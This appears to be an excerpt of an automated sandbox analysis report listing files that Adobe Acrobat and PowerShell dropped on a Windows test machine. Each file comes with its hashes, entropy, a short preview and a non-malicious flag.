Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklFLs33lXfllXlE/HT8kqpJlXNNX8RolJuRdxLlGB9lQRYwpDdt:kKN3lIT877NMa8RdWBwRd
MD5:	F355119C085E3729BFEB7D492B9C5819
SHA1:	C93CBF9894D16F9960B63B35EFF31AC2A0D04025
SHA-256:	47219923ED51D830734285854A46B09C3AF737EAE6B31A536068244B933834B9
SHA-512:	8C777E22C6BDCE56ED1164F7DF99DEA722A512ECE5B8510A3D94942D84CF9979C396D1B46EA2B58566B8A1B60D49261774581D9D74F6BC200E37085597E2406F
Malicious:	false
Preview:	p...... ............rf..(....................................................... ..........W....O...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2380042315897657
Encrypted:	false
SSDEEP:	6:kKmeR99UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:eOkDImsLNkPlE99SNxAhUe/3
MD5:	A950442E1344A76DC86B177D7D0A6BA2
SHA1:	0123D10C52414799D8FEF022B9A935B6F6034882
SHA-256:	0F3AC97277F41A3D13233DFF5CF271D309C0CBDC58865E9EDF52645BF9D4D291
SHA-512:	68263431262E1FBD2538A9B5E852313EEAC8339CFB60957C12DC7D840B4BB15A83708F889B694A8B353629B4121EE1CE8BA8396A752FF0233F4AE272CABA5B55
Malicious:	false
Preview:	p...... ........%...rf..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8040

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8040

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2145
Entropy (8bit):	5.076127259598729
Encrypted:	false
SSDEEP:	48:YuN8+pREYgPrbyyCHzqi/Sai05iCdskaG:h21izifCekh
MD5:	04798C2D55E549240088177ECD6B97CA
SHA1:	0F4273CEBFCABABB8651D6A2CFD8B20AB3DD5CB6
SHA-256:	82104ABAF18F9300D0F5F13FAEB1703907D05B39E1CBD25D05564FF8131F1A6A
SHA-512:	EBED98EDCC62D4B03924909173CB73C5E97B583DE890EFF1D9600015896C140515FD135E9A7EB31590EC48A542CDEF080D20FBEC4776B42BFBF67BC514DF9597
Malicious:	false
Preview:	{"all":[{"id":"TESTING","info":{"dg":"DG","sid":"TESTING"},"mimeType":"file","size":4,"ts":1736852104000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"9f71146ae436bcff85ea1a8c05943f80","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1696497325000},{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"fef0bbb2ea07a6034dbbef29c1688727","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696497325000},{"id":"DC_FirstMile_Right_Sec_Surface","info":{"dg":"77f32a358e45138f9f35db38e0d8c4fc","sid":"DC_FirstMile_Right_Sec_Surface"},"mimeType":"file","size":294,"ts":1696497318000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"41daed47c2f4c5452f0670ebc08bb211","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696496482000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"ba41a8c5792eb1fb4db4b0a98b55a527","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1255,"ts":1696496482000},{"id":"DC_Reader_Edit_LHP_Banner"

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3665099229339168
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDuzXKdqEKfS8EKfM1ba7F:Tll2GL7msMcKTlS8fcsuwfIR
MD5:	12F5F851AED7FAB960571A706E2F23C9
SHA1:	98C9A69E4DC91D42E29F85D9F947AD600BF78A78
SHA-256:	0C4D493F1623260B3788E6ECEB16D2FDD6B3B5B6D7EF2D46BC371E0A1B5D5AD0
SHA-512:	F86B1F3AF00321D919B3EC99AC5F9282A907512B9B66009CE5E800705F60C0939BAB104A8A233FCF68A0F6EFCC51DB1AB2E3B1C915C24317647E35BE78E13F24
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.843373582555873
Encrypted:	false
SSDEEP:	24:7+tN8PZ6bqyKn6ylSTofcNqDuz+KdqEKfS8EKfM1banbqmqLKufx/XYKQvGJF7u1:7MWhcKTlS8fcsuBfILqGufl2GL7msk
MD5:	93766084DE5B4804C87D54FB5CF7C040
SHA1:	B137898E74C51344EBE36FF2D848152D3D79F4B4
SHA-256:	3DA8D0DCB297E2F9CD9FAF0EF4C26347407C2B966537572C99D8273EFE5D205E
SHA-512:	F6890A3CB08B1456A23CFC43D2E05CA1B625B4B3477EFBC0001063B3BFE5CF9AD87C62EFEAB6B3BAFEC1F0726D895C3CF1AF9539B24C6D2E125C164E56EF600B
Malicious:	false
Preview:	.... .c.......B...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgZ+XqLXi2sir61guQ9TsZd3GNUzKnYyu:6a6TZ44ADEZ+aLy2xr6BdIGEK
MD5:	C0BD10EF15F6EADC4570A1C734BE8950
SHA1:	861B4DCCE9DFD7264CE6C5628E84AA7A8E75F4AE
SHA-256:	530E62F6FA66AAB005C6C062695CCEAFAAEE2D5D4CB0C4C5423F856B11DD5C13
SHA-512:	D24D7A475E79FECD42A7F026B7D87E574D48DD7D7D512B75B892E781073080273F63A64C3F6A870287B1666C7139E739C1D46CCD900F12B13E04042ED013951B
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/nq/llh:NllUyt
MD5:	AB80AD9A08E5B16132325DF5584B2CBE
SHA1:	F7411B7A5826EE6B139EBF40A7BEE999320EF923
SHA-256:	5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4
SHA-512:	9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIaf7f4.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5065515051498046
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K84sCl4fQwWl:Qw946cPbiOxDlbYnuRKIfAl
MD5:	3DF0E3C280699989850D54872497E23F
SHA1:	7F6460A65C3DA6A7FD773F0A3C7807B5ACFB8A19
SHA-256:	65D2BB48369081E9638AA8B56AD313B58DDD424D25FC2A67C8C759427E9B218C
SHA-512:	DF1D1AFE321EEFB90973E5D629F29A9FDC78897299E744FA4A4EC82D05B781ABBAC78083EA3B9865A8757ADB6029B9304DE14A01D35E5EC9CA9BE3D5069BD702
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.4./.0.1./.2.0.2.5. . .0.5.:.5.5.:.0.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_in0dakyk.zzz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ouni0o5r.ytg.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-14 05-55-02-678.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.376301115191058
Encrypted:	false
SSDEEP:	384:X5bkzUL/ATQXOlfrV3YVGSkBoMjarSWyO6J5HNpXLdrrPpDroWTEEW3Har17pyB5:LtlT
MD5:	7481CEF700AE1E32CADD4A239222F716
SHA1:	A794E53483361F72E6E30B30F12A5B8B2BFAA702
SHA-256:	6ED0402183D7B4304F6AAC4C72591B915CB242AF295BF07FF0B3021E4CE6974E
SHA-512:	B9CBF1AFE5C544681F5A7074A42A9B60C7AEAD0244702F3A2D0F71A0BCC17FF8A97375081CBFFC4460D48EF2F5FA3FFC173AE85F6A2F7203891BC8A856DA6035
Malicious:	false
Preview:	SessionID=666b4b05-937e-4b45-8a6c-3f96c0cfac77.1736852102693 Timestamp=2025-01-14T05:55:02:693-0500 ThreadID=7984 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=666b4b05-937e-4b45-8a6c-3f96c0cfac77.1736852102693 Timestamp=2025-01-14T05:55:02:694-0500 ThreadID=7984 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=666b4b05-937e-4b45-8a6c-3f96c0cfac77.1736852102693 Timestamp=2025-01-14T05:55:02:694-0500 ThreadID=7984 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=666b4b05-937e-4b45-8a6c-3f96c0cfac77.1736852102693 Timestamp=2025-01-14T05:55:02:694-0500 ThreadID=7984 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=666b4b05-937e-4b45-8a6c-3f96c0cfac77.1736852102693 Timestamp=2025-01-14T05:55:02:694-0500 ThreadID=7984 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.376451758453591
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbmUcbrWIkGcbo8:8qnXopZ50rl/kE8
MD5:	0E72C55306B43B19BAC3E474AE3C2EE5
SHA1:	B2009921618873D259C0794AA69522B3EB9B0C6F
SHA-256:	3A43A3D2139A7D8F42C56A1B3B6405D2960FCC4ABE4F3E23BB22946049C95ED1
SHA-512:	5D942C9F65315299689B55EA01EE9C7C1CCC85F364E18D090B0162D037B14B0FD76B590B8D48E7F04125943FD132752D199385B1FDDF2C5A8686CC667171F8BC
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\2985deb9-daa2-4b1e-a65d-a09e4e2b8578.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
